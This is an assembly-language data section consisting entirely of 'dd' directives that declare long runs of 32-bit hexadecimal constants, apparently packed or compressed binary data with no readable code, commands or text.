dd 51EB002Fh, 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h
dd 5E7600B5h, 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh
dd 0A048F723h, 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh
dd 90680015h, 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h
dd 0FCBC015Dh, 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h
dd 7E1960Bh, 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh
dd 0E06FE80Bh, 4E1660h, 0BA673021h, 0E52E70A4h, 8CBBE000h
dd 85340F0Ah, 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh
dd 2B27C880h, 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h
dd 0FEF40E48h, 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh
dd 4B04E600h, 0B057A384h, 972D00E1h, 70895130h, 94900853h
dd 5C81B800h, 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h
dd 0A1F146A9h, 9685502h, 927C86DDh, 0BC210B80h, 563C75FDh
dd 0C289F3Dh, 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh
dd 4C00C641h, 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh
dd 0FA4FFF26h, 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h
dd 88A0877Bh, 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h
dd 0D36948B9h, 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h
dd 5B30007Dh, 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh
dd 0FD250016h, 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h
dd 21B3EDEBh, 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch
dd 90D4B957h, 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh
dd 1C781532h, 328890Ah, 18452059h, 1DE8F0FBh, 4A7AC7EAh
dd 80006BF6h, 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh
dd 103D2583h, 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h
dd 0CBD53E13h, 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h
dd 3910171Eh, 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh
dd 8014773Ch, 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h
dd 3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h
dd 7068D9FEh, 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h
dd 0E932BB3Ch, 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h
dd 37568D80h, 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h
dd 8528A0FFh, 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h
dd 14003589h, 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh
dd 39E6B00h, 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh
dd 2B001B93h, 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h
dd 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h, 29A300A2h, 1D880201h
dd 17003A8Ch, 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah
dd 9CDB4E00h, 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh
dd 5EC0CB98h, 0AC9E2C3Dh, 900480B6h, 5AC02D89h, 98ECCEF6h
dd 586179F5h, 2008DBDh, 898F0C6Dh, 0FC002938h, 4F63CE5Eh
dd 0A32630h, 0C273A517h, 25228A6Bh, 0F90068EAh, 0CCEAD723h
dd 6AFDE6h, 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h
dd 350304CCh, 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h
dd 0AC9E6C7Bh, 97E548AEh, 68335500h, 720AF2C1h, 0D4C40BC8h
dd 80D753E7h, 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h
dd 0C8D8D707h, 6457EAh, 1328F7E4h, 8FCA2443h, 763D2673h
dd 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah
dd 250066F0h, 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h
dd 1DC2F94Ch, 0B05F07EBh, 7800CA2Ch, 17883CE5h, 5B2F0769h
dd 203064C0h, 0ADA454A8h, 0B9E5A207h, 8DC71087h, 6E2F8190h
dd 2D2B00BEh, 0CD3788B0h, 4C025A8Ch, 0CF584A1Ah, 52F080A7h
dd 0C6F87Bh, 0D1940584h
dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h
dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h, 32A7E16h
dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch
dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h
dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h
dd 0C50AEEh, 521502E1h, 0A012DA55h, 8301A6A5h, 9CFF305Ch
dd 3C1B7BCCh, 7FC1486h, 1CF83101h, 0C21AF052h, 0EA01C1D0h
dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h
dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h, 0E43C5EC7h
dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h
dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh, 9E7E8C3Bh
dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh
dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h
dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h
dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah
dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h
dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh
dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh
dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh
dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h, 510203C4h
dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh, 0F8E76783h
dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h, 1982BCEh
dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h
dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h
dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh
dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh
dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h
dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh
dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h
dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh
dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h
dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h
dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h
dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh
dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h
dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h
dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h
dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch
dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h
dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah
dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h
dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh
dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h
dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh
dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h
dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh
dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h
dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h
dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h
dd 167F425h, 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h
dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h
dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h
dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh
dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah
dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h
dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h
dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h
dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh
dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h
dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h
dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h
dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah
dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h
dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh
dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h
dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h
dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h
dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh
dd 0AD6C7Ch, 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h
dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h
dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h
dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh
dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh
dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh
dd 1C5DCAFAh, 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h
dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h
dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch
dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h
dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h
dd 744C8EEh, 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh
dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h
dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h
dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h
dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h
dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah
dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h
dd 0DC25E1Fh, 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h
dd 49EAAF97h, 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h
dd 52510F00h, 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h
dd 604FC319h, 158D13h, 23515092h, 0AD90BC10h, 0A38A900h
dd 21DFDAEh, 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h
dd 0E09FBE70h, 7A706014h, 0C0A00380h, 910129E0h, 44022290h
dd 89040300h, 18251505h, 310E214h, 84820636h, 0A9309E2h
dd 0CB30BA3h, 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh
dd 0E56D18Bh, 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh
dd 188A00B8h, 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh
dd 318107EEh, 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h
dd 783B6014h, 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h
dd 790101A4h, 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh
dd 32DC1F6Ah, 7FC0AD1Fh, 0EBBC8100h, 7911ABBh, 17410D88h
dd 8C1E6082h, 29000525h, 2402D6F8h, 0C82D66h, 505553B4h
dd 22579856h, 0F00FB901h, 612EA2AAh, 0B89D8DE0h, 0F6810054h
dd 0BC8BABF3h, 3E00E92Fh
dd 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h, 4CFC831Ch
dd 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h, 0F7282474h
dd 7440698h, 62336815h, 0C71CD0FFh, 17CC849h, 890080ECh
dd 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h, 13DE8100h
dd 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh, 33C5D00h
dd 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh
dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh
dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h
dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh
dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h
dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h
dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h
dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h
dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h
dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h
dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h
dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h
dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h
dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh
dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h
dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h
dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh
dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h
dd 8E8BC107h, 31745389h, 598125D0h, 6212F400h, 4068D233h
dd 70BCE6B7h, 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h
dd 3E3DAh, 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h
dd 0E8001FD1h, 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h
dd 13900085h, 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h
dd 81DEB9Bh, 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h
dd 0E3AD2C03h, 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh
dd 25013C0h, 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch
dd 0E8AACA81h, 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h
dd 0CA6B0069h, 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h
dd 6A2C53ABh, 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h
dd 8DED7213h, 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h
dd 0D200F35h, 2C35943h, 6D316C62h, 8840098Dh, 15017310h
dd 5203EDF3h, 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h
dd 28007560h, 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h
dd 48C07DE0h, 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h
dd 96821100h, 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh
dd 0C6501700h, 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch
dd 920EB700h, 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h
dd 5045578Bh, 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h
dd 640083C6h, 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh
dd 2407EB80h, 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh
dd 3D104C88h, 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h
dd 0A0B8EEF0h, 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh
dd 97908Dh, 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh
dd 0E2324E52h, 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h
dd 2303C5A7h, 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h
dd 1E88BF1h, 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h
dd 21BF145Eh, 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h
dd 0E9AB1000h, 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h
dd 9A1501F5h, 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh
dd 0C5CDD0C7h, 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h
dd 80C092DAh, 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h
dd 868A2411h, 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch
dd 74F07EB8h, 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh
dd 4163166h, 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh
dd 314A2789h, 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh
dd 6A733882h, 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h
dd 0E74387CDh, 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h
dd 0A86C9A14h, 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h
dd 25B3AB45h, 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah
dd 5AB5629Eh, 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh
dd 1552C862h, 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h
dd 40B00644h, 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h
dd 8A3C40D1h, 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h
dd 0C9F0BD13h, 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh
dd 0C6AFC382h, 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h
dd 0AB00E428h, 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h
dd 441007C4h, 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh
dd 0D190C3h, 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh
dd 758EB002h, 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h
dd 15E1A7FCh, 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h
dd 5FD73B11h, 7C543700h, 767E532Fh, 0B097FCEh, 57428758h
dd 30ABA580h, 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h
dd 0C8807F8h, 743D6224h, 4053FE00h, 70358B77h, 31300CEh
dd 0EB0D68CCh, 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh
dd 0D0FC5F12h, 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh
dd 0B8C1D9B7h, 83F2B900h, 2743EC7h, 822F0087h, 2757E181h
dd 0D900C958h, 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh
dd 0BA965307h, 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h
dd 0BA754F81h, 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h
dd 0F2530094h, 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h
dd 387225Ah, 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h
dd 24945A48h, 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh
dd 97ADC65Fh, 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h
dd 0FC0010C6h, 800203h, 0F3E4E938h, 11C9798h, 0C23A8300h
dd 0C7405674h, 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h
dd 17A95AAh, 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h
dd 839023h, 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh
dd 70291FEEh, 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h
dd 3FF45174h, 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h
dd 0F5F20195h, 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh
dd 3E9A776h, 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h
dd 89F4B841h, 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h
dd 6F936400h, 6D37803h, 20050055h, 2608A11Bh, 44006209h
dd 9811B34Ch, 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h
dd 541A1500h, 0AC2EDC8Ah, 789005Eh, 0A96C7952h, 44007C34h
dd 0E8170509h, 7AD95F7h, 804893D8h, 875C05Dh, 141FCCD3h
dd 6C02CA3h, 18F7C62Dh, 1D890017h, 0F9533BA1h, 0A6EC32CEh
dd 0AC21DE00h, 79E3184h
dd 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h, 9D607700h
dd 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h, 20309FAEh
dd 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h, 734B7705h
dd 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h, 60C5AFB0h
dd 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h, 4E433C69h
dd 33F80154h, 7542252Eh, 344E7095h, 8057900h, 2306A32h
dd 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh
dd 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h, 48E71CBBh
dd 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h
dd 0DF7126h, 33CD9214h, 474F5455h, 6843EC0Fh, 27A0008Ch
dd 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h
dd 34568B46h, 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h
dd 5FC0EC2h, 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h
dd 5B15D803h, 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh
dd 7600F6F8h, 199BB82h, 7A75251Ch, 4B0A0F42h, 0C200A7D4h
dd 447B57FCh, 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh
dd 55F0AC00h, 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh
dd 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh
dd 0DE20004h, 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h
dd 1ABDAB52h, 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h
dd 0C0AE00D5h, 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h
dd 67C40044h, 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h
dd 134B008Dh, 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h
dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch
dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh
dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h
dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah
dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h
dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h
dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h
dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h
dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah
dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h
dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah
dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h
dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h
dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch
dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh
dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h
dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h
dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h
dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h
dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h
dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h
dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh
dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh
dd 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h
dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h
dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah
dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h
dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h
dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh
dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh
dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h
dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h
dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h
dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch
dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah
dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h
dd 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h
dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh
dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh
dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h
dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h
dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh
dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh
dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h
dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h
dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h
